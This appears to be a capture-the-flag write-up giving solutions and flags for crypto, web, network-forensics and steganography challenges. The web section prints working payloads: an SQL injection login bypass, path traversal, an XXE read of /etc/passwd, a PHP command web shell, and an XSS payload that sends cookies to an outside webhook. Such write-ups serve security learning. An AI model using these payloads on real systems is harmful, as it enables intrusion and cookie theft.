The encryption function, encrypt(), reads the 'flag.png' file and encrypts it using AES-ECB with a custom counter, CustomCounter. The counter generates a keystream by incrementing a value and encrypting it with the AES key.

To decrypt the ciphertext, we need the AES key and the counter values used during encryption. These values are extracted from the code as follows:

  • The AES key is missing in the provided code. We need to find or obtain the missing key to proceed with decryption.

  • The counter value and its step increment are defined in the CustomCounter class. The initial counter value, value, and the step increment, step_up, are used to generate the counter values during encryption.

To decrypt the ciphertext, we use an XOR operation with the keystream obtained from the counter and the ciphertext blocks. In the provided decryption script, we can see the XOR decryption being performed.

The decryption script reads the ciphertext blocks from 'tresure.txt' and XORs each block with a pre-defined keystream. The XOR result is appended to an output list.

from Crypto.Cipher import AES

rpng = b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR'
output = []
with open('Treasure-data.txt', 'r') as f:
    block = bytes.fromhex(f.read(32))
    xored = [x^y for x, y in zip(block, rpng)]
    rks = bytes(xored)
with open('Treasure-data.txt', 'r') as f:
    block = bytes.fromhex(f.read(32))
    while block:
        xored = [x^y for x, y in zip(block, rks)]
        output.append(bytes(xored))
        block = bytes.fromhex(f.read(32))

with open('tresure.png', 'wb') as tres:
    tres.write(b''.join(output))

Flag: flag{7h3_0n3P1eC3_15_R34L!!}

WEB

11) Partly_stored_answers

1000 pts (EASY)

Solution

After checking source of this page we have found part one

if we go to /robots.txt we got clue and second part

if we go to /secrets/k3y

if we inspect this page we can see a script let's use it in home page

Flag: bi0s{muvmJ3k9x68SQVXArCRb5A==}

12) Laughable File Infiltration

1000 pts (EASY)

Solution

if we check source

if i go to a link /view?file=membership.txt we can see a text file

/view?file=flag.txt will give 404 so

going few dir back /view?file=../../flag.txt

Flag: bi0s{TU+9U1lFHljRrf6bPdPdkA==}

13) CookieMonster

1000 pts (EASY)

Solution

If we check cookies

if we decode it we will get

{"admin":0} to {"admin":1}

changing the cookie value in browser we got the flag

Flag: bi0s{j7xPtmm4HoLp1daTGNZvlw==}

14) Shellshocker

1000 pts (EASY)

I got First blood in this challenge.

we can execute any command here example ls

if we cat index.js we can see FLAG is taken from environment variable

we can print environtmental variables using printenv

Now searching for flag

Flag: bi0s{X4SYGaBzxFw89F4eueFCqA==}

15) Phone Book

1000 pts (EASY)

after clicking on the link we will be redirected to account?id=1

/account?id=1 if we change 1 to 0 then we can see admin phone number

Flag: bi0s{b5hG8BdtYD9Ht+6saI28BQ==}

16) Secret keeper

Soultion

So in this we have to bypass the login of master so definitely SQL injection opening it in burp

If we send Username: ' OR 1 = 1 -- and password can be anything in response we got the flag

Flag: bi0s{i4cpSd/2xP0VomAKBUtM1w==}

17) Feedback

1500 pts (MEDIUM)

I got First blood in this challenge.

Solution

our password is reflected in this page and there is a report button to submit a URL so definitely its a xss challenge

if we enter this payload

<img src=x onerror="alert(document.cookies)" />

We got a xss so if we can get admin cookies then it's done after setting up webhook

<img src=x onerror="fetch('https://eoctl0knzoys9l9.m.pipedream.net/'+btoa(document.cookie))" />

btoa is to encode the flag in base64 so that we won't miss special character if we don't use it then the special character are converted to URL encoded format it won't be as easy as decode copy and submit the flag.

If we submit with the payload above and check our webhook

the encoded flag can be decoded with atob(ZmxhZz1iaTBze2hTbEUxT29EM1hRVGpJaS82dHIrd1E9PX0=) in console we will get flag

Flag: bi0s{hSlE1OoD3XQTjIi/6tr+wQ==}

18) Xml Parser

we can just give it the following payload

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "/tmp/flag.txt"> ]>
<data>&example;</data>

Flag: bi0s{hopFCovHy+l2r24So+qcSg==}

19) Laughable File Infiltration 2

when we click on Read Poem this following request is sent

when we replace the Themoon.txt with /tmp/flag.txt

we can see in response flag is removed if we use fflaglag.txt even if i removes flag we will have flag.txt remaining.

Flag: bi0s{YAD8QkfJh4u0QQwF2u9CuQ==}

20) Ghost

2500 pts (HARD)

Solution

We can upload files here they are saved as it is in ./uploads/filename.txt

its made with php so i can upload a php reverse shell

// rev.php
<?php
    echo (system($_GET["cmd"]));
?>

now after uploading the rev.php going to /uploads/rev.php?cmd=whoami

/uploads/rev.php?cmd=cat /tmp/flag.txt

Flag: bi0s{XH+Uz/yuszc4YlIFOIfD4g==}

Network security

21) Decrypt_The_Secrets

1000 pts (EASY)

Solution:

from scapy.all import *

def extract_pcap_data(pcap_file):
    packets = rdpcap(pcap_file) 
    data = []
    for packet in packets:
        if packet.haslayer(Raw): 
            raw_data = packet[Raw].load 
            data.append(raw_data)

    with open('Decrypt_the_Secrets.bin', 'wb') as f:
        f.writelines(data)
pcap_file = "./Decrypt_the_Secrets.pcapng"

extract_pcap_data(pcap_file)

using the above script got data from pcapng file

hiheyI guess the cops are having an eye on usmaybe we are under the radar after the heist failureso here is the key 5 and we go on with the planyep 5 it is, I remember the other day you told me about our lanugagedju N lzjxx dtz hfs zsijwxyfsi rj wnlmy stb, fwj bj ltti yt ltdju bj hfs gjlns bnym tzw uqfs inxhzxxntsXT bj fwj ltnsl yt pnisfu ymj KGN hmnjk, bmjwj bnqq mj gj ymnx kwnifd?N fr xzwj mj bnqq gj anxnynsl ymj rzxjzr,gzy mtb it bj it ny?Ltti uqfhj ktw zx, xt bj ltssf ljy ns inxlznxji fx ymj rfnsyfnsjshj yjfryep then we can actually get close to him at any point and execute our waysxt N bnqq ljy ymj ymnslx itsjdju bj bnqq rjjy ts kwnifd ymjs.dju bj bnqq rjjy ts kwnifd ymjs.mtb fgtzy gn0x{s3yb0wp_nsyjwhjuynts_l0jx_g00rc0c0}?tpfd ymjs xjjdftpfd gtxx

This one looks like a flag gn0x{s3yb0wp_nsyjwhjuynts_l0jx_g00rc0c0}

Flag: bi0s{n3tw0rk_interception_g0es_b00mx0x0}

22) One_By_One

1000 pts (EASY)

Using the same script from the above challenge we got One_by_One.bin file from given pcap file

Hi this is a very confidential message, please do not share it with anyone. So This top secret message is only for you. and here it is bi0s{ch4mpi0n_0n_7h3_w4y_0f_3xp10i7}. Thank you. hold it safe. Bye.

Flag: bi0s{ch4mpi0n_0n_7h3_w4y_0f_3xp10i7}

23) Packet_Sniffing

1000 pts (EASY)

Opening the file in wireshark going to file > export objects > HTTP

Here we have an image let's save it and see

Renaming the file from object33.image%2fjpeg to object33.image.jpeg will give flag

Flag: bi0s{w1r35h4rk_exp0rts_1s_c00l}

24) Digital_Vault

Solution:

from scapy.all import *

def extract_pcap_data(pcap_file):
    packets = rdpcap(pcap_file) 
    data = []
    for packet in packets:
        if packet.haslayer(Raw): 
            raw_data = packet[Raw].load 
            data.append(raw_data)

    with open('Digital_Vault.bin', 'wb') as f:
        f.writelines(data)
pcap_file = "./Digital_Vault.pcap"

extract_pcap_data(pcap_file)

after running this script we can open the file here there is some PNG image

After running above cmds got this PNG

Flag: bi0s{sc4py_scr1pt1ng_m4k3s_extr4cti0n_3a513rx0}

25) Protocol_Crackdown

2500 pts (HARD)

After analyzing for a lot of time i couldn't find any leads then

Here is image

using Tshark to extract data.

tshark -r Protocol_Crackdown.pcapng  -T fields -Y "ip.src == 193.11.11.11 and tcp.stream " -e tcp.payload > data.hex

to convert the image to PNG we can use cyberchef.

Flag: bi0s{It_w4snt_th4t_h4rd_for_y0u_ch4mp}

Digital Forensics

26) Alw4y5_h4s_b33n

1000 pts (EASY)

Solution:

after trying so many things i found this blog and started doing this

changing ff c0 00 11 08 02 8a 05 00 => ff c0 00 11 08 02 f2 05 00 in the image in cyberchef

Flag: bi0s{th3_dimention_tr1ck}

27) bl1ndf0ld

1000 pts (EASY)

Solution

Upload the given image in https://aperisolve.fr/

Flag: bi0s{7h3_c00l_plan3_stegan0gr4phy}

28) f1xm3

1000 pts (EASY)

Opening the file in Hex editor

we have to fix header from

To this

And Footer

To

chnaging Iadt to IDAT

Flag: bi0s{g00d_f1x_g00d_s0lv3}

29) brut3nf0rce

2500 pts (HARD)

solution:

From discription we know that password for zip is less than 3 characters there is the bruteforce script

import zipfile
from string import printable

def crack_password(password_list, obj):
    idx = 0
	# with open(password_list, 'rb') as file:
    for _ in printable:
        for __ in printable:
            password = f"{_}{__}"
    # for line in file:
        # for word in line.split():
            try:
                idx += 1
                obj.extractall(pwd=bytes(password, "utf-8"))
                print("Password found at line", idx)
                print("Password is", password)
                return True
            except:
                continue
	# return False


password_list = "/usr/share/wordlists/rockyou.txt"

zip_file = "./bruteforce.zip"


obj = zipfile.ZipFile(zip_file)


if crack_password(password_list, obj) == False:
	print("Password not found in this file")

after running this code password is gz

Running stegseek on the extracted file

Flag: bi0s{bruting_satisfaction_for_real}

30) Upgr4d3d_f1xm3

1000 pts (EASY)

Solution:

we got a pic on opening it in hexeditor changing header from

to this

We can fix it by searching for 58 78 d3 0f and replacing it with 5a 2b d3 0f

We can fix it by searching for 0c 78 78 00 and replacing it with 0c 78 f4 00

Flag: bi0s{crc_f1xup}

31) R3c0v3rytxt

1500 pts (MEDIUM)

Got a memory dump

python3 volatility3/vol.py -f /root/challenge.raw windows.filescan.FileScan | grep flag

running file scan

getting flag.txt

python3 volatility3/vol.py -f /root/challenge.raw windows.dumpfiles.DumpFiles --physaddr 0x7fddf6c8

opening the file

Flag: bi0s{fil3dump_mastery_rec0very}

32) bl4ckscr33n_ex3cuti0n

1500 pts (MEDIUM)

Now we have to use volitilyty 2

vol.py -f chall.raw imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86
                     AS Layer1 : IA32PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/home/ghost/ctf/digital_defenders/actual/
blackscreen_execution/chall.raw)
                      PAE type : No PAE
                           DTB : 0x185000L
                          KDBG : 0x82935c28L
          Number of Processors : 4
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0x82936c00L
                KPCR for CPU 1 : 0x80d9c000L
                KPCR for CPU 2 : 0x8c01e000L
                KPCR for CPU 3 : 0x8c059000L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2023-06-11 14:25:53 UTC+0000
     Image local date and time : 2023-06-11 07:25:53 -0700

Got profile from the above cmd

$ vol.py -f chall.raw --profile=Win7SP1x86 pslist > pslist.txt

now getting memory of cmd.exe

vol.py -f chall.raw --profile=Win7SP1x86 memdump -p 980 -D ./dump/

if we do strings on it it's not useful checking it in hex editor

Flag: bi0s{m3m0ry_suprem4cy}

33) C4pt4inC0ld

1000 pts (EASY)

We got a secrets.txt

There is no room on this planet for anything less than a miracle	      
We gather here today to revel in the rebellion of a silent tongue  	    
Every day, we lean forward into the light of our brightest designs & cherish the sun
Praise our hands & throats each incantation, a jubilee of a people dreaming wildly
Despite the dirt beneath our feet or the wind pushing against our greatest efforts
Soil creates things Art births change	       	       	       	     	  
This is the honey  	 	     	 	 	      	   	      
& doesn’t it taste like a promise?   	  	       	  	 	     
The password is azrael 	       	   		  	      	     	      
Where your heart is an accordion 	    		       	       	       
& our laughter is a soundtrack   		 	 	       	  
Friend, dance to this good song—       	     	      	      	    
look how it holds our names!	   	   	  	   	    	     
Each bone of our flesh-homes sings welcome      	      	   	     
O look at the Gods dancing    	       	    	     
as the rain reigns against a steely skyline
Where grandparents sit on the porch & nod at the spectacle
in awe of the perfection of their grandchildren’s faces
Each small discovery unearthed in its own outpour
Tomorrow our daughters will travel the world with each poem
       & our sons will design cities against the backdrops of living museums
       Yes! Our children will spin chalk until each equation bursts a familial tree

from this text we know password is azrael. after researching for a while i realized it is using white space steganography it can be solved by a tool stegsnow

stegsnow -C -p"azrael" secret.txt

Flag: bi0s{7h3_sn0w_0f_surpr1s3s}

34) Pr0j3ct_M3t4

1000 pts (EASY)

We got an image running exiftool on it we have a comment

Flag: bi0s{ex1f_d4t4}

Last updated